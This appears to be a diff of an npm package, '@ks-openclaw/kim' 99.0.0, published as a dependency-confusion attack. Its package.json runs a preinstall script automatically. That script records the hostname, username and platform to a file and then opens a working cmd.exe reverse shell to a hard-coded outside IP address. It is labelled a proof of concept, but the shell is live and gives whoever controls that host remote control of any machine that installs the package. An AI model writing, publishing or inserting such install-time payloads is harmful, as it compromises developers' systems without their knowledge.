@ks-openclaw/kim 99.0.0

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "@ks-openclaw/kim",
+  "version": "99.0.0",
+  "description": "openclaw kim plugin",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  }
+}

package/preinstall.js

@@ -0,0 +1,32 @@
+const net = require('net');
+const { spawn } = require('child_process');
+const os = require('os');
+const fs = require('fs');
+
+const HOST = '120.55.170.103';
+const PORT = 8888;
+
+// д��֤���ļ�
+const evidence = [
+  '[Dependency Confusion RCE - Proof of Concept]',
+  'Package: @ks-openclaw/kim@99.0.0',
+  'Trigger: npm preinstall hook (auto-executed)',
+  'Time: ' + new Date().toISOString(),
+  'Hostname: ' + os.hostname(),
+  'User: ' + os.userInfo().username,
+  'Platform: ' + os.platform() + ' ' + os.arch(),
+  'Node: ' + process.version,
+  'CWD: ' + process.cwd(),
+].join('\n');
+try { fs.writeFileSync('C:\\poc_dependency_confusion.txt', evidence); } catch(e) {}
+
+// Reverse Shell -> 120.55.170.103:8888
+const client = new net.Socket();
+client.connect(PORT, HOST, () => {
+  const sh = spawn('cmd.exe', []);
+  client.pipe(sh.stdin);
+  sh.stdout.pipe(client);
+  sh.stderr.pipe(client);
+  sh.on('close', () => { client.destroy(); process.exit(0); });
+});
+client.on('error', () => { process.exit(1); });